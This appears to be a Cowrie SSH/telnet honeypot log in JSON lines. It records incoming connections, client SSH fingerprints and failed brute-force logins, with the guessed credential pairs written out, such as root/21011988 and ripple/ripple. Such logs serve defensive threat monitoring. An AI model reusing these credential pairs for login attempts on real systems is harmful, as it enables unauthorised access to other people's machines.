{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:02.683647Z","src_ip":"38.93.206.2","session":"1a2f307fa913","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21011988","message":"login attempt [root/21011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:02.841074Z","src_ip":"38.93.206.2","session":"1a2f307fa913","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:03.897551Z","src_ip":"38.93.206.2","session":"1a2f307fa913","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":35490,"dst_ip":"159.203.135.109","dst_port":22,"session":"d03c3b719ebf","protocol":"ssh","message":"New connection: 103.176.20.57:35490 (159.203.135.109:22) [session: d03c3b719ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:06.826643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:06.833665Z","src_ip":"103.176.20.57","session":"d03c3b719ebf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:07.121140Z","src_ip":"103.176.20.57","session":"d03c3b719ebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":46594,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9f2cb3b08b3","protocol":"ssh","message":"New connection: 20.160.86.7:46594 (10.17.0.5:22) [session: e9f2cb3b08b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:07.798093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:07.807228Z","src_ip":"20.160.86.7","session":"e9f2cb3b08b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer11","message":"login attempt [root/qwer11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:07.883949Z","src_ip":"103.176.20.57","session":"d03c3b719ebf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:07.891720Z","src_ip":"20.160.86.7","session":"e9f2cb3b08b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ripple","password":"ripple","message":"login attempt [ripple/ripple] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:08.247824Z","src_ip":"20.160.86.7","session":"e9f2cb3b08b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:09.139093Z","src_ip":"103.176.20.57","session":"d03c3b719ebf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:09.334760Z","src_ip":"20.160.86.7","session":"e9f2cb3b08b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.31306838989258,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:11.482314Z","src_ip":"69.4.83.194","session":"06513ff7bb83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":38912,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e2aa2d32b86","protocol":"ssh","message":"New connection: 182.191.77.164:38912 (10.17.0.5:22) [session: 2e2aa2d32b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:14.272824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:14.278840Z","src_ip":"182.191.77.164","session":"2e2aa2d32b86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:14.523215Z","src_ip":"182.191.77.164","session":"2e2aa2d32b86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bloom","password":"bloom","message":"login attempt [bloom/bloom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:15.502820Z","src_ip":"182.191.77.164","session":"2e2aa2d32b86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:16.746432Z","src_ip":"182.191.77.164","session":"2e2aa2d32b86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":60537,"dst_ip":"10.17.0.5","dst_port":22,"session":"af7d1cd602fe","protocol":"ssh","message":"New connection: 88.147.30.59:60537 (10.17.0.5:22) [session: af7d1cd602fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:19.375673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:19.386657Z","src_ip":"88.147.30.59","session":"af7d1cd602fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:19.501213Z","src_ip":"88.147.30.59","session":"af7d1cd602fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ton","password":"ton","message":"login attempt [ton/ton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:19.985921Z","src_ip":"88.147.30.59","session":"af7d1cd602fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:21.105446Z","src_ip":"88.147.30.59","session":"af7d1cd602fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33712,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ea5a9d2c5f3","protocol":"telnet","message":"New connection: 69.4.83.194:33712 (159.203.135.109:23) [session: 5ea5a9d2c5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:33.226514Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":44268,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fe6d40262b7","protocol":"ssh","message":"New connection: 62.133.63.178:44268 (10.17.0.5:22) [session: 6fe6d40262b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:47.211593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:47.220480Z","src_ip":"62.133.63.178","session":"6fe6d40262b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:47.347495Z","src_ip":"62.133.63.178","session":"6fe6d40262b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147852q","message":"login attempt [root/147852q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:47.723493Z","src_ip":"62.133.63.178","session":"6fe6d40262b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:48.851989Z","src_ip":"62.133.63.178","session":"6fe6d40262b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.58","src_port":34862,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0da554e3f5d","protocol":"ssh","message":"New connection: 123.58.209.58:34862 (159.203.135.109:22) [session: b0da554e3f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:00.209855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:00.215693Z","src_ip":"123.58.209.58","session":"b0da554e3f5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:00.439887Z","src_ip":"123.58.209.58","session":"b0da554e3f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345678","message":"login attempt [root/a12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:01.354873Z","src_ip":"123.58.209.58","session":"b0da554e3f5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.25.47.94","src_port":48510,"dst_ip":"159.203.135.109","dst_port":22,"session":"767be2d8acfe","protocol":"ssh","message":"New connection: 103.25.47.94:48510 (159.203.135.109:22) [session: 767be2d8acfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:02.249344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:02.262557Z","src_ip":"103.25.47.94","session":"767be2d8acfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:02.513239Z","src_ip":"103.25.47.94","session":"767be2d8acfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:02.583775Z","src_ip":"123.58.209.58","session":"b0da554e3f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcde12345","message":"login attempt [root/Abcde12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:03.543924Z","src_ip":"103.25.47.94","session":"767be2d8acfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:04.798321Z","src_ip":"103.25.47.94","session":"767be2d8acfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.812193155288696,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:07.038569Z","src_ip":"69.4.83.194","session":"5ea5a9d2c5f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.150.82","src_port":47325,"dst_ip":"159.203.135.109","dst_port":23,"session":"f80fc7911922","protocol":"telnet","message":"New connection: 45.153.150.82:47325 (159.203.135.109:23) [session: f80fc7911922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:25.055059Z"}
{"eventid":"cowrie.session.closed","duration":14.243557214736938,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:39.298414Z","src_ip":"45.153.150.82","session":"f80fc7911922","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57596,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c9420266d2b","protocol":"telnet","message":"New connection: 69.4.83.194:57596 (159.203.135.109:23) [session: 8c9420266d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:39.551380Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":49888,"dst_ip":"10.17.0.5","dst_port":23,"session":"a825153914d8","protocol":"telnet","message":"New connection: 178.128.93.180:49888 (10.17.0.5:23) [session: a825153914d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:46.318054Z"}
